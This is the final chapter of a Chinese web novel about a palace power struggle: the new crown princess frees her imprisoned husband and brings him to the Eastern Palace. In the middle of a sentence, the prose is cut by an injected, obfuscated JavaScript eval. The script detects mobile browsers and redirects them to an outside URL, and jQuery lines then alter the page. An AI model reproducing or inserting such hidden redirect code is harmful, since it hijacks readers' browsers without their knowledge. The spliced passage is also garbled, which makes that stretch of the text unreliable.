23. 终幕

作品:《错上花轿嫁对妻(女尊)

    崇定二十六年四月辛未,瑞王上变,告肃王谋反。敕沈佳、苏傲霜、梅鹤鸣、刘鸿祯与大理、中书、门下参鞫之,反形已具。丙子,诏废肃王明琼为庶人,幽于右领军府,宥其夫子,党羽甚众,皆已伏诛。明琼既废,上御两仪殿,群臣俱出,独留沈佳、苏傲霜、梅鹤鸣,谓曰:“教子无方,我心诚无聊赖!”因自投于床,沈佳等争前扶抱;上又抽佩刀欲自刺,鹤鸣夺刀以授瑞王明瑾,此为后话。


    天刚蒙蒙亮,两道圣旨同时出宫,又分道扬镳,各奔东西。丞相亲自捧旨,龙旗猎猎,黄土净街,禁军开道,令闲杂人等避让。阵仗之大,引得百姓纷纷侧目,都道天元将生大变,也不知是好是坏,叫人忧心忡忡。


    “哟,宫中这么大排场,怎么了这是?”


    “听说是陛下下旨,肃王府和瑞王府都有一份,也不知是吉是凶。”


    “瑞王府……我们真的不管管他吗?不会死了吧?”


    话头都到这儿,这狱卒也就顺水推舟,向监牢深处使了个眼色。


    那日苏小糖听闻欺君之罪要株连九族,唯恐祸及妻主,便拔下发簪,咬咬牙,在掌心狠狠划出一道深可见骨的口子,又攥紧掌心,让鲜血一滴滴落在地上。


    虽然疼得不行,但他还没来得及倒吸一口凉气,就赶紧从衣角撕下来块布,用指头蘸着血,在上头写写画画,还苦中作乐地想,幸好小时候读书识字时不曾偷懒,否则今日即便想写,恐怕也挤不出几个字来。


    许是急中生智,他思绪如水,十分顺畅便完成一篇,长出一气——然而出到一半,又卡壳了。


    “母四族、父三族、妻二族……”


    那名心善狱卒的话在他脑海中反复回荡。


    虽然苏府待他并不好,但总归给了他一个遮风挡雨的地方,让他还算平安地长大了,母亲对他也尚有养育之恩……


    于是苏小糖又捡起簪子,抿紧嘴唇,别过脸,抖着手,犹犹豫豫地,在那条口子旁边,又划了一道。


    簪子当啷一声落地,银质柔软,凤头被摔得些微变形,苏小糖却顾不得许多,赶忙蘸着血写起来。


    ……


    狱中不见天日,他早就不知道这是自己进来的多少天了。虽然在饭食上并未受亏待,但苏小糖仍是昏昏沉沉的,一摸,额上十分滚烫,不知怎么发起高热来。


    掌心两道伤口更是微微红肿发热,边缘渗出些黄白色的脓液,皮肉一搏一搏地胀痛,折腾得他夜晚也无法入眠。


    另一名狱卒答:“算了吧,都这么多天了,也没见那位来救他,想必不是什么重要角儿,指不定那还是下令将他杀头的圣旨呢。寺丞大人可是招呼过我们,要好好‘伺候’这位。得罪瑞王事小,得罪肃王,可就——”


    “哦?得罪本宫,为何就是小事?”


    一道冷沉的嗓音远远传来,含着再明显不过的愠怒,音量不大,却响彻整间囚室。


    两名狱卒吓得齐齐一抖,下意识就扑通一声跪下来,忙不迭匍匐在地——


    “见过瑞王殿下!”


    四月乃春夏交接,外头艳阳高照,天牢却又湿又冷,寒气刺骨,仿佛仍停留在冬季。


    元明瑾甫一入内,便蹙紧了眉,沉声道:“还不快放了王夫?”


    除了入口除的阳光,天牢内唯一的光源只有微弱的烛火。此刻元明瑾负手而立,投下的黑影小山似的,将两人盖得严严实实。她们顷刻间便汗出如浆,两股战战,几欲先走,却又不得不壮着胆子拒绝道:“陛下亲自下令将罪人关进来,我等怎能抗旨不从,还望殿下莫要为难……”


    “大胆!这可是太子殿下!里头关押的可是太子夫!赦免的圣旨随后就到,你们胆敢不从!”


    元明瑾还未出声,身侧立即有善察言观色的心腹喝道:“拖下去,两人各打二十大板!肃王真是养了一群好狗,死到临头还知道咬人!”


    “——太、太子殿下?!”


    一听这话,狱卒就是再蠢也知道这场夺嫡之战是谁胜出了,磕头磕得一下比一下响,眨眼间便染红了石砖,“殿下息怒、殿下息怒啊!”


    “求殿下饶恕小的这一回吧!小的再也不敢了!”


    求饶的哀嚎声渐渐远去。苏小糖蜷缩在角落里瑟瑟发抖,身上一阵冷一阵热,还以为自己已到了阴曹地府,故而恶鬼的嚎叫声不绝于耳。


    然而鼻端却又飘来一阵凛冽的竹叶清香,熟悉又陌生,恍如隔世。


    略微粗糙的触感在脸上逡巡,苏小糖浑身一颤,既怕是自己心心念念的那个人,又怕不是她,连忙睁开眼,就见元明瑾眸色温柔似水,黑白分明的眼珠上下游移片刻,检查过他全身,才轻声道:“既醒了,便回家吧。”


    她伸出手,想打横抱起苏小糖,却被拽住衣袖,制止了她的动作。元明瑾正疑惑不解,忽觉苏小糖挣扎了两下,力道轻得挠痒似的,最后在她怀里找了个舒服的位置,靠着不动了,半晌才软软道:“我不能回去。”


    “为什么?”元明瑾很是耐心。


    天牢中着实太冷,苏小糖靠进她怀里,就如一块冰落进火炉里,火炉并无大碍,冰却快要化干净了。


    “我不……不想……成为妻主的……污点……”


    说来也怪,嗅着这股好闻的竹香,彻夜无寐的苏小糖竟生出一丝困意。他从心所欲,合上烧得干涩的眼睛,呼吸慢慢变得轻缓绵长。


    元明瑾屈指成钩,举在半空,定定地瞧了一会儿他的睡颜,最终还是放下了——她本想敲他一记爆栗的。


    真不知这颗小脑袋瓜里一天天都在想些什么。


    她动作极轻地抱着他穿过长廊,甫一出门,就见一队人马匆匆赶到,为首的不是旁人,正是捧着皇帝手谕前来放人的大宫女,和负责管理天牢的大理寺丞。


    见是元明瑾,大宫女行过礼,笑道:“在此恭喜太子殿下了。”


    元明瑾冷淡地点点头,抱着人大步出去了,瞥也不瞥眼巴巴候在一旁、同样想与她寒暄两句的大理寺丞。


    心腹赶紧解释道:“殿下见太子夫伤成那样,心情不佳,姑姑勿怪。”


    “什么怪不怪的,姑娘莫要见外才是。太子夫一介男子,竟能做出这样的壮举,真令我等钦佩。”大宫女应道。


    “正是,太子夫如此忠义,当为天下男子之表率……”


    大理寺丞这根墙头草终于捉着间隙插上嘴,一句话还没说完,就被狠狠瞪了一眼,立时住了嘴,不敢再出声。


    ……


    虽然已被封为太子,但册封典礼须待钦天监择一良辰吉日,再候礼部筹备妥当后,方能举行。


    故元明瑾照旧把苏小糖带回瑞王府中,令御医好生照看。


    然而一回府却被张嬷嬷逮了个正着,正颜厉色地要她先看御医。


    “殿下如今乃天元前星、国之根本,更应该保重身体,怎么连额上伤了一块都毫无所察呢?”张嬷嬷嗔道,“殿下粗心,总不见得随侍的小子们也粗心,看来是时候多添些人手了。”


    元明瑾悻悻地摸了摸额角,果然一阵钝痛——那块镇纸自元明琼手中滑落时,是先被她的额头挡了一下,才坠地的。


    她道:“不妨事,不过是擦伤了油皮,不碰就不疼,本宫——”


    她在张嬷嬷犀利如电般的眼神中败下阵来。


    包扎完毕,元明瑾吩咐张嬷嬷将王府上下仔细清洗一通,宁缺毋滥,毕竟这些人马,来日也是要带进东宫的。


    张嬷嬷应下,沉眉思索片刻,问道:“肃王谋逆一事,解决得比奴婢想象中轻松。她那些兵马还不知藏在哪儿,陛下怎么会就此给她定罪呢?”


    “这个问题就留给母皇和沈相她们头疼好了。”无事一身轻,元明瑾懒洋洋倚在美人榻上,“有其父做先例,母皇吃一堑长一智,想叫她不生疑也难。何况元明琼着实蠢笨,我若是她,怎会想不到在这些宗室权贵的后院安插眼线,是她爹早就用惯的伎俩?”


    千里之堤,溃于蚁穴。元明琼的父亲就是这样爬上母皇龙榻的,自然清楚后宅中这些不起眼的小人物有多么重要。然而元明琼继承了她父亲的手段,却没继承她父亲的心计。


    再者,眼线一事,本来也算不上稀奇——谁家没几个她人的眼线?不过睁一只眼闭一只眼,各自安好罢了。


    元明琼的确也可以往别人家安插,但在母皇早有疑心的前提下,只要这些眼线被捉出来,她意图谋反的罪名就坐得不能更实了。


    说到父君……


    过两日便是她父君的诞辰。


    元明瑾不由忆起日前入宫,见到的那棵被栽在养心殿后的梅树。


    父君死时,她年岁尚小,还未记事,只知道它是母皇和父君一同栽下的,原本种在父君宫中,后来被迁到了养心殿后。


    这样母皇一开窗,就能见到这棵树。


    她还听闻,父君的尸骨并未葬入君侍园寝——那不过是具空棺罢了。


    他就静静地躺在那棵梅树下,与母皇日夜相望。


    起初元明瑾还嗤之以鼻,然而见它四月仍能开花,心中竟多了几分信服。


    宫中向来是只闻新人笑、哪闻旧人哭……能在母皇心中占据一角,已然算是不错。


    ……


    虽然册封太子的典礼由丞相统筹、礼部操持,太子本人仅需闭门读书、修身养性,尽量不参与其中,但皇帝有心多加磨砺她,便将铲除肃王余党一事交由她处置,故元明瑾仍忙得脚不沾地,早出晚归、披星戴月。往往是苏小糖睡下她才回,他还未起,她又出去了……他真疑心她连被褥都未躺热乎。


    妻主忽然成了太子,一人得道,鸡犬升天,王府里机灵的仆从都嘴快地叫起苏小糖“太子夫”来。若说不高兴肯定是假的,但他已有半个月没怎么见过尊贵的太子殿下本人,心中不免感到失落。


    这天他难得卯时初便起了,一摸身侧,早就凉透……手指不由自主蜷了蜷。


    他恹恹地洗漱用早膳,张嬷嬷见他起这么早,讶异之色不加掩饰。但见他一脸衰样,又忍不住莞然笑起来。


    “太子夫可要回苏府看一看?殿下说,李公公虽然看管不利,本该被打发回乡,然而他毕竟伺候过苏大人和风郎君,又照料过您,苏大人顾念旧情,便让他去看守祠堂了。”


    一听能去看望李公公,苏小糖自然很喜悦,但对苏府又本能地抵触,正踟蹰不定,就听张嬷嬷又道:“册封典礼后,殿下和您就要直接入住东宫,届时再想出宫恐怕会有些困难……”


    “我去!”苏小糖腾地站起来。


    瑞王府和尚书府相距并不远,约莫两刻钟后,苏小糖出现在苏府门口。


    今非昔比,眼下就连苏傲霜见了他都要行礼,苏府中人又岂敢阻拦,连苏小糖不知道祠堂在哪儿也没有取笑他,而是一反既往,恭恭敬敬地将他往东南角领。


    多日不见的李公公果然在那儿当值,他看着消瘦了些,精神头却足。他见到苏小糖自是大喜过望,忙不迭拉着苏小糖,上上下下地端详,问他近况如何。


    “当初都怪老奴,没有看好您,才让夫人和大公子的阴谋得逞了。”李公公说着说着,不觉淌下两行热泪来,听见苏小糖说不怪他,心中愈发羞愧,“真是知人知面不知心,那小绿看着是个乖


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16537867|183928||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    巧的好孩子,谁又能想到他竟然包藏祸心呢?”


    苏小糖汗颜——他是真的不怪李公公,嫁去瑞王府后他天天吃香的喝辣的,妻主疼爱不说,还没人为难他,日子过得比在苏府中好上不止一星半点。如今妻主争气成了太子,他也跟着晋为了太子夫,日后更是要做凤君的。


    塞翁失马,焉知非福。若无此劫,他都不知道自己一个娘不疼爹不爱的庶子,要如何嫁给妻主,当她的正夫……


    光是想想都觉得难如登天。


    他不知从何解释好,正冥思苦想,李公公见他迟迟不言语,以为他心中难过,眼珠一转,道:“您随老奴来。”


    西北角的厢房一向作为库房使用,僻静无人。有了前车之鉴,苏小糖本想拒绝,然而转头一看,身后正跟着一众御侍和卫队,料想也出不了差池,便跟上了李公公。


    “风郎君虽去得早,但他的东西,家主其实没丢,都好好地保存着呢。”


    李公公推开一间厢房门扉,苏小糖下意识抬袖挡脸,防止飞灰扑进口鼻眼。


    然而等了片刻,却并未嗅到灰尘的气味。


    再看门上的锁,也是簇新的,闪动着银亮的光泽,并非想象中的锈迹斑斑。


    “应当还算干净,家主命人每旬都来打扫……她心中还是有风郎君的。”


    李公公不知当年实情,只觉苏傲霜也是个用情至深的可怜人,不由感叹道。


    说罢,他就退了出去,独留苏小糖一人在房中,面对满屋子陌生又熟悉的物什,不知怎的,竟生出一股近乡情怯的心绪。


    高兴又怅然。


    “在看什么?”


    苏小糖正到处乱逛,琳琅满目,不知该从哪件开始看起,忽听身后一人出声,把他吓了好一大跳。


    回过头去,正言笑晏晏站在那儿的,不是多日未见的妻主又是谁?


    “妻主!”


    苏小糖扑过去,将她紧紧拥入怀中,埋首于她肩颈间,贪婪地汲取着她身上那股好闻的竹香,一刻也不肯放开。


    他喃喃道:“我不是在做梦吧?”


    话音未落,头上蓦地一疼,苏小糖吃痛,揽着她腰的那只手却仍不愿放开,只用另一只手捂住被她敲疼的地方,泪眼汪汪,“妻主又欺负我。”


    “好叫你知道你没在梦中。”元明瑾终于敲到了那日没能敲成的爆栗,心情大好,“今日下值得早,回府却没找见你,嬷嬷说你来了苏府,我便跟着来了。”


    她视线从苏小糖肩头上越过去,环视四周,“纸鸢、布老虎、鲁班锁、蝴蝶簪……不介绍介绍么?”


    苏小糖这才松开她,拿起那只布老虎,“妻主快看!这是小时候,我爹亲手给我缝的!怎么样,可爱吧?”


    元明瑾定睛一瞧,见它一只眼睛大一只眼睛小,像在朝她做鬼脸,便道:“原来这不是老虎啊……是狗?”


    “妻主怎么跟我娘说一样的话?”苏小糖丢给她含嗔带怒的一眼,把它往元明瑾怀里一塞,“这是布老虎没错,只是我爹手拙,我娘见了,捧腹大笑,说这是‘画虎不成反类犬’……”


    “那这个呢?”元明瑾拿起那支簪子,簪头是一只展翅欲飞的蝴蝶,雕刻得栩栩如生,通体碧绿,玉质油润,不见黑点,定是上品。


    “我娘说我从小就爱美,当初一看到这支簪子就走不动道,死死抓在手中,怎么也不肯离去。”苏小糖接过簪子,摩挲着打磨得十分圆润的簪尖,眼底满是怀念,“当时娘还不是户部尚书,只是一介小官,这簪子花了她半个月的俸禄,好在她攒了些钱,否则……”


    他低下头,唇角露出一抹笑意,见这支簪子的款式还不算过时,便向元明瑾浓密黑亮的发间插去。


    “真好看。”他瞧着瞧着,实在忍不住,凑过去,在元明瑾唇角轻轻印下一吻,“妻主戴什么发簪都好看。”


    “当真?”元明瑾伸手扶了一下发髻,也笑眼弯弯。


    从只言片语中,她依稀窥见,他曾经也是个有娘疼有爹爱的孩子。


    若是天元和九曜两国,从来就没有这些宿怨……说到底,这和无辜的黎民百姓又有什么关系呢?


    人生无家别,何以为烝黎?


    元明瑾心中酸涩,连忙掩饰似的,大手一挥,道:“这里的东西,全都搬回去,日后你想什么时候看,就什么时候看,不必特意回苏府。”


    “真的?!”


    苏小糖眼睛瞬间被点亮,黑润润的,洗净的葡萄一般。他又凑过去在她唇角响亮地亲了一下,“妻主真好!”


    一声令下,太子千牛备身便指挥众人,将屋内一样样物什悉数搬上马车。


    元明瑾与苏小糖率先离开。车轮辘辘,苏小糖心有所感,掀开车幰向外张望。


    大街上车马如流,两侧商铺的幌子在风中招展,卖胡饼的大娘揭开笼盖,芝麻的脆香一波一波地滚动,路边的紫藤都给香得甘拜下风,不时便会掉下来一朵。远处,高耸入云的皇城一角反射出金灿灿的光泽,飞檐上的骑凤仙人领着脊兽排排蹲坐,仿佛正要向蔚蓝的天际驰骋而去。头顶晴空万里,风和日丽。


    这一次,再无人怨毒地目送他离去,但两侧的街景却有所不同。


    这似乎……不是回瑞王府的路。


    “妻主,我们不回府么?”苏小糖问。


    “回东宫,左右也是要搬的,不如现下就将这些物件带去。”


    元明瑾放下书卷,伸手勾了他下巴一下,调笑道:“接你去当太子夫,去不去?”


    “去!”


    苏小糖猛地扑进她怀里。


    ——正文完——